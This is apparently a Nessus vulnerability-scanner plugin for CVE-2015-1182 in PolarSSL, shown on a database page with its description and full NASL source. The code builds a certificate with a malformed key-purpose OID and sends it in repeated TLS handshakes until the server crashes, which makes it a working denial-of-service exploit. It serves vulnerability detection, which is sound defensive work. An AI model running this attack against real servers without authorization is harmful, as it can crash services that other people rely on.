Lucene search

K
nessusThis script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.POLARSSL_CVE-2015-1182.NASL
HistoryJan 28, 2015 - 12:00 a.m.

PolarSSL 'asn1_get_sequence_of' Function Uninitialized Pointer RCE

2015-01-2800:00:00
This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
86

PolarSSL contains a flaw when parsing ASN.1 sequences from X.509 certificates due to freeing an uninitialized pointer by the function ‘asn1_get_sequence_of’ within file ‘asn1parse.c’. An unauthenticated, remote attacker, using a specially crafted certificate, can exploit this flaw to cause a denial of service or execute arbitrary code.

This plugin sends client certificates with an X.509 Extended Key Usage extension that contains a malformed key purpose OID. PolarSSL allocates a ‘asn1_sequence’ structure to store the OID. For this plugin to work, the following conditions must be met :

  • (1) The ‘next’ field of the allocated ‘asn_sequence’ structure for the malformed key purpose OID must be non-zero.

  • (2) The SSL server requests a client certificate.

#TRUSTED 739d5c8b6980b4702b6688841b7749579492abf4a1a1e6387efb68d9c082c072f140412c1bc15ffa3f86b3cc823b7b3bc5c7750332e7c2131d314e2824ce453e1d9b7fbabb481bc90e849a74ad5be56f28b77c71e0931f31c93ef93e0ff12da95d2f5527cbf2b4f5b3ddf8a86817a2025b7e90cdd1745f5f8af3f09a65c337489ba8736b8aab47293887aebdb336824e930ea4a29684e63624450278209637719fa52f94ef99f15e8804c1dd23cf5382f90df85ecceabc60a56d6e46f00c9b697963ca0351f5e7f8d34ec843dca6878494d1923b3ae76eee81e31bcb4381eabb0e427901b1e31905a771adf4d0ab1b8dc0e1281c0b60711a13288986ab353caa2d373f910997ae11b99667d0ecb46ff689cc110882f7c15cf3f9f2a9505218880861b01e76e422717df98b77a572f18a335781c654b116b99cdb3410d7918602cf7c8226bc7583cd6bb0c44eb57f3e693677745a421b70c12d53471063ebefcb4c089a599fe6e396b244aa2473ebc975eb9081c21b1d682ce5dcdcbf37e47f9d40ab2572b5b20f491d188cb4eb1d96e7a7271addf63268178c49bbad44fa5d07c877ea8983c5d9df668fa864cd30910900bd53d86a86a696675a4a46ec39f925ab35de2baee53f00d3aec2b0fe83c878e683d9e23486a4d7288a80333dd76f1756a773f2f80a1571b3d57817ab13e67d8c6e7a7ef83c668300db6a3ed61d6e7a
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81047);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-1182");

  script_name(english:"PolarSSL 'asn1_get_sequence_of' Function Uninitialized Pointer RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote SSL server is vulnerable to remote code execution.");
  script_set_attribute(attribute:"description", value:
"PolarSSL contains a flaw when parsing ASN.1 sequences from X.509
certificates due to freeing an uninitialized pointer by the function
'asn1_get_sequence_of' within file 'asn1parse.c'. An unauthenticated,
remote attacker, using a specially crafted certificate, can exploit
this flaw to cause a denial of service or execute arbitrary code.

This plugin sends client certificates with an X.509 Extended Key Usage
extension that contains a malformed key purpose OID. PolarSSL
allocates a 'asn1_sequence' structure to store the OID. For this
plugin to work, the following conditions must be met :

  - (1) The 'next' field of the allocated 'asn_sequence'
    structure for the malformed key purpose OID must be
    non-zero.

  - (2) The SSL server requests a client certificate.");
  # https://polarssl.org/tech-updates/security-advisories/polarssl-security-advisory-2014-04
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8e6caee6");
  script_set_attribute(attribute:"see_also", value:"https://www.certifiedsecure.com/polarssl-advisory/");
  script_set_attribute(attribute:"solution", value:
"Follow the instructions in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1182");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:polarssl:polarssl");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssl_supported_ciphers.nasl");
  script_require_keys("SSL/Supported");
  script_timeout(1800);

  exit(0);
}

include("byte_func.inc");
include("ftp_func.inc");
include("global_settings.inc");
include("der_funcs.inc");
include("ldap_func.inc");
include("misc_func.inc");
include("nntp_func.inc");
include("smtp_func.inc");
include("ssl_funcs.inc");
include("telnet2_func.inc");

##
#
# Create an X509 certificate extension
#
# @param oid extentions OID
# @param crit whether the extension is to be critical
# @param value extension value (DER-encoded)
# @return DER-encoded extension or NULL on error
# @remark
#
#   Extension  ::=  SEQUENCE  {
#        extnID      OBJECT IDENTIFIER,
#        critical    BOOLEAN DEFAULT FALSE,
#        extnValue   OCTET STRING
#                    -- contains the DER encoding of an ASN.1 value
#                    -- corresponding to the extension type identified
#                    -- by extnID
#        }
##
function x509_ext(oid, crit, value)
{
  local_var ext;

  oid = der_encode_oid(oid:oid);

  crit = der_encode(tag:0x01, data:raw_string(crit));

  value = der_encode_octet_string (string: value);

  if(isnull(oid) || isnull(crit) || isnull(value))
    return NULL;

  ext = oid + crit + value;

  ext = der_encode (tag:0x30, data:ext);

  return ext;
}

##
#
# Create a x509 certificate with an Extended Key Usage extension
#
# @param kp_cnt number of key purpose OIDs in the Extented Key Usage extension
# @param bad whether to append a malformed key purpose OID to the end of the
#            Extended Key Usage exension
# @return an x509 certificate
# @remark
#   - The output certificate type is RSA
#   - Most fields are hardcoded
#   - The certificate need not to be verifiable
#
##
function my_cert(kp_cnt,bad)
{
  local_var cert, issuer, serial, sig, sig_alg_id, version;
  local_var pubkey_info, subject, tbs, validity;
  local_var alg, exts, ext_eku, eku, i, kp, pubkey;

  # version         [0]  EXPLICIT Version DEFAULT v1,
  # Version  ::=  INTEGER  {  v1(0), v2(1), v3(2)  }
  version = der_encode(tag:2, data:raw_string(2));
  version = der_encode(tag:0xa0, data: version);

  # serialNumber         CertificateSerialNumber,
  # CertificateSerialNumber  ::=  INTEGER
  serial = raw_string(0x00, 0xba, 0xdc, 0xbb, 0xc3, 0xdb, 0x90, 0xdf);
  serial = der_encode(tag:2, data: serial);

  # signatureAlgorithm   AlgorithmIdentifier,
  #    AlgorithmIdentifier  ::=  SEQUENCE  {
  #            algorithm               OBJECT IDENTIFIER,
  #            parameters              ANY DEFINED BY algorithm OPTIONAL  }
  #
  #
  # PolarSSL (1.3.9) supports the following SignatureAlgorithmIdentifier (oid.c):
  #   md2WithRSAEncryption
  #   md4WithRSAEncryption
  #   md5WithRSAEncryption
  #   sha1WithRSAEncryption
  #   sha224WithRSAEncryption
  #   sha256WithRSAEncryption
  #   sha384WithRSAEncryption
  #   sha512WithRSAEncryption
  #   ecdsa-with-SHA1
  #   ecdsa-with-SHA224
  #   ecdsa-with-SHA256
  #   ecdsa-with-SHA384
  #   ecdsa-with-SHA512
  #   RSASSA-PSS
  #
  # use sha1WithRSAEncryption to cover more PolarSSL versions as
  # older versions may not support ecdsa-based SignatureAlgorithmIdentifier
  sig_alg_id = der_encode_oid(oid:"1.2.840.113549.1.1.5");
  sig_alg_id = der_encode(tag:0x30, data: sig_alg_id);

  # issuer               Name,
  #
  #   Name ::= CHOICE { -- only one possibility for now --
  #     rdnSequence  RDNSequence }
  #
  #   RDNSequence ::= SEQUENCE OF RelativeDistinguishedName
  #
  #   RelativeDistinguishedName ::=
  #     SET SIZE (1..MAX) OF AttributeTypeAndValue
  #
  #   AttributeTypeAndValue ::= SEQUENCE {
  #     type     AttributeType,
  #     value    AttributeValue }
  #
  #   AttributeType ::= OBJECT IDENTIFIER
  #
  #   AttributeValue ::= ANY -- DEFINED BY AttributeType
  #
  #   DirectoryString ::= CHOICE {
  #         teletexString           TeletexString (SIZE (1..MAX)),
  #         printableString         PrintableString (SIZE (1..MAX)),
  #         universalString         UniversalString (SIZE (1..MAX)),
  #         utf8String              UTF8String (SIZE (1..MAX)),
  #         bmpString               BMPString (SIZE (1..MAX)) }
  issuer = raw_string(
  0x30, 0x4f,
  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x06, 0x13, 0x02, 0x55, 0x53,

  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x08, 0x0c, 0x02, 0x4d, 0x44,

  0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04,
  0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66, 0x61, 0x75,
  0x6c, 0x74, 0x20, 0x43, 0x69, 0x74, 0x79,

  0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55, 0x04,
  0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61, 0x75,
  0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x61,
  0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
  );

  #   Validity ::= SEQUENCE {
  #        notBefore      Time,
  #        notAfter       Time }
  #
  #   Time ::= CHOICE {
  #        utcTime        UTCTime,
  #        generalTime    GeneralizedTime }
  validity = raw_string(
  0x30, 0x1e,
  0x17, 0x0d, 0x31, 0x35, 0x30, 0x31, 0x32, 0x30,
  0x32, 0x33, 0x33, 0x33, 0x32, 0x34, 0x5a, 0x17,
  0x0d, 0x32, 0x35, 0x30, 0x31, 0x31, 0x37, 0x32,
  0x33, 0x33, 0x33, 0x32, 0x34, 0x5a
  );

  # subject              Name
  subject = raw_string(
  0x30, 0x4f,
  0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
  0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x0b, 0x30,
  0x09, 0x06, 0x03, 0x55, 0x04, 0x08, 0x0c, 0x02,
  0x4d, 0x44, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03,
  0x55, 0x04, 0x07, 0x0c, 0x0c, 0x44, 0x65, 0x66,
  0x61, 0x75, 0x6c, 0x74, 0x20, 0x43, 0x69, 0x74,
  0x79, 0x31, 0x1c, 0x30, 0x1a, 0x06, 0x03, 0x55,
  0x04, 0x0a, 0x0c, 0x13, 0x44, 0x65, 0x66, 0x61,
  0x75, 0x6c, 0x74, 0x20, 0x43, 0x6f, 0x6d, 0x70,
  0x61, 0x6e, 0x79, 0x20, 0x4c, 0x74, 0x64
  );

  # SubjectPublicKeyInfo  ::=  SEQUENCE  {
  #        algorithm            AlgorithmIdentifier,
  #        subjectPublicKey     BIT STRING  }
  #
  # AlgorithmIdentifier  ::=  SEQUENCE  {
  #      algorithm               OBJECT IDENTIFIER,
  #      parameters              ANY DEFINED BY algorithm OPTIONAL  }

  # rsaEncryption
  alg = der_encode_oid(oid:"1.2.840.113549.1.1.1");
  alg = der_encode(tag:0x30, data:alg);

  # RFC 3447
  #
  # RSAPublicKey ::= SEQUENCE {
  #     modulus           INTEGER,  -- n
  #     publicExponent    INTEGER   -- e
  #  }
  #
  # NOTE: n and e must to be a odd number
  pubkey = der_encode(tag:2,data:crap(data:'A',length:64)) +
           der_encode(tag:2,data:'\x01\x00\x01') ;
  pubkey = der_encode(tag:0x30, data:pubkey);
  pubkey = '\x00' + pubkey; # no padding bits
  pubkey = der_encode(tag:3, data:pubkey);

  pubkey_info = der_encode(tag:0x30, data: alg + pubkey);


  #   ExtKeyUsageSyntax ::= SEQUENCE SIZE (1..MAX) OF KeyPurposeId
  #
  #   KeyPurposeId ::= OBJECT IDENTIFIER
  #
  if (! kp_cnt) kp_cnt = 1; # mininum one valid key purpose OID

  kp = NULL;
  for(i = 0; i < kp_cnt; i++)
  {
    # timeStamping
    kp += der_encode_oid(oid:"1.3.6.1.5.5.7.3.8");
  }

  if(bad)
  {
    # Malformed timeStamping key purpose OID
    kp += raw_string(
        #0x06, 0x08, # Correct length for the OID
        0x06, 0x7f, # Invalid length for the OID
        0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08
    );
  }

  eku = der_encode(tag:0x30, data: kp);
  ext_eku = x509_ext(oid:"2.5.29.37", crit:1, value: eku);

  #Extensions  ::=  SEQUENCE SIZE (1..MAX) OF Extension
  exts = der_encode(tag:0x30, data: ext_eku);

  #extensions      [3]  EXPLICIT Extensions OPTIONAL
  exts = der_encode(tag:0xa3, data: exts);

  tbs = version +
        serial +
        sig_alg_id +
        issuer +
        validity +
        subject +
        pubkey_info +
        # skip optional fields:
        #   issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
        #   subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
        exts;

  tbs = der_encode(tag:0x30, data:tbs);


  # signatureValue       BIT STRING
  sig = crap(data:'S', length:64);
  sig = '\x00' + sig; # no padding bits
  sig = der_encode(tag:3, data:sig);


  cert =  tbs +
          sig_alg_id +
          sig;

  cert = der_encode(tag:0x30, data:cert);

  return cert;
}

function attack(port, kp_cnt)
{
  local_var ciphersuites, cspeclen, exts, exts_len, version;
  local_var alert, chello, clt_cert_req, hellodone, shello;
  local_var cert, cipher, data, i, list, msg, rec, soc;

  # Create a socket for SSL handshake
  soc = open_sock_ssl(port);
  if ( ! soc ) exit(1, "Failed to open an SSL socket on port "+port+".");


  # Use TLS version 1.2, allow downgrade
  version = TLS_12;

  # Use detected cipher suites.
  list = get_kb_list("SSL/Ciphers/" + port);
  if(list) list = make_list(list);
  else list = keys(ciphers);

  ciphersuites = NULL;
  exts = NULL;
  foreach cipher (list)
  {
    if(strlen(ciphers[cipher]) == 2)
    {
      ciphersuites +=  ciphers[cipher];

      if(tls_is_ec_cipher(cipher) && isnull(exts))
      {
        # We need to include EC extensions because it seems PolarSSL server
        # will abort the handshake if a EC-based cipher suite is negotiated
        # but a EC extension is not offered by the client.
        exts = tls_ext_ec() + tls_ext_ec_pt_fmt();
      }
      # Do not specify more than 128 cipher suites, as some older
      # PolarSSL versions don't support it.
      if(strlen(ciphersuites) >= 254) break;
    }
  }

  # Send ClientHello
  msg =
    mkword(version) +                    # Client version
    dec2hex(num:unixtime()) +            # Challenge, epoch portion
    rand_str(length:28) +                # Challenge, random portion
    ssl_vldata_put(data:'', len:1) +     # Session ID
    ssl_vldata_put(data:ciphersuites, len:2) + # Cipher suites
    ssl_vldata_put(data:'\x00', len:1);  # Compression spec

  if(exts) msg += ssl_vldata_put(data:exts, len:2);    # Extensions

  msg = ssl_mk_handshake_msg(data:msg, type:SSL3_HANDSHAKE_TYPE_CLIENT_HELLO);
  chello = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:TLS_10);
  send(socket:soc, data: chello);

  hellodone = shello = clt_cert_req = NULL;
  i = 0;
  while (! hellodone)
  {
    # Receive a record from the server.
    data = recv_ssl(socket:soc, timeout:30);
    if (isnull(data)) break;

    # ServerHello
    if(! shello)
    {
      shello = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO
      );

      if (shello)
      {
        # Check handshake version returned by the server
        # If TLS 1.2 not supported, use a lower version
        if (shello['handshake_version'] != TLS_12)
        {

            if (shello['handshake_version'] >= SSL_V3)
            {
              version = shello['handshake_version'];
            }
            else
            {
              close(soc);
              exit(0, 'The service listening on port ' + port + ' does not support SSLv3 or above.' );
            }
        }
      }
      else
      {
        alert = ssl_find(
          blob:data,
          'content_type', SSL3_CONTENT_TYPE_ALERT
        );
        if(alert)
        {
          close(soc);
          exit(1, 'Alert received from service listening on port '+ port +': level '+ alert['level'] + ', description code ' + alert['description'] + ', Nessus could not procdeed with the vulnerablity check.');
        }
      }
    }

    # Client Certificate Request
    if(! clt_cert_req)
    {
      clt_cert_req = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type',SSL3_HANDSHAKE_TYPE_CERTIFICATE_REQUEST
      );

    }

    # Server Hello Done.
    if(! hellodone)
    {
      hellodone = ssl_find(
        blob:data,
        'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,
        'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO_DONE
      );

      if(hellodone) break;
    }

    # ServerHelloDone not seen after a higher number of SSL records
    # Something is very wrong
    if(i++ > 16)  break;
  }

  # Make sure we got a ServerHelloDone
  if(! hellodone)
  {
    close(soc);
    exit(1, 'ServerHelloDone not received from service listening on port '+ port +'.');
  }

  # We cannot send a client cert if not asked by the server
  if(! clt_cert_req)
  {
    close(soc);
    exit(1, 'The service listening on port '+ port +' did not ask for a client certificate.');
  }

  cert = my_cert(kp_cnt: kp_cnt, bad:TRUE);

  if(isnull(cert))
  {
    close(soc);
    exit(1, 'Failed to create a bad certificate to send to SSL server listening on '+ port +'.');
  }

  msg = ssl_vldata_put(data:cert, len:3);  # cert
  msg = ssl_vldata_put(data: msg, len:3);  # cert chain
  msg = ssl_mk_handshake_msg(
    type : SSL3_HANDSHAKE_TYPE_CERTIFICATE,
    data : msg
  );
  rec = ssl_mk_record(type:SSL3_CONTENT_TYPE_HANDSHAKE, data:msg, version:version);

  send(socket: soc, data: rec);
  usleep(100);
  close(soc);
}

#
# MAIN
#

# Get an SSL port
port = get_ssl_ports(fork:TRUE);
if (isnull(port))
  exit(0, "The host does not appear to have any SSL-based services.");

# Attempt to crash remote SSL server
for(i = 1; i <= 100; i++)
{
  attack(port:port, kp_cnt: i);

  if(service_is_dead(port:port) == 1)
  {
    extra = 'Crash at attempt ' + i + '.';
    security_hole(port:port, extra: extra);
    exit(0);
  }
  # If service is not dead, cannot tell it's vulnerable

}
VendorProductVersionCPE
polarsslpolarsslcpe:/a:polarssl:polarssl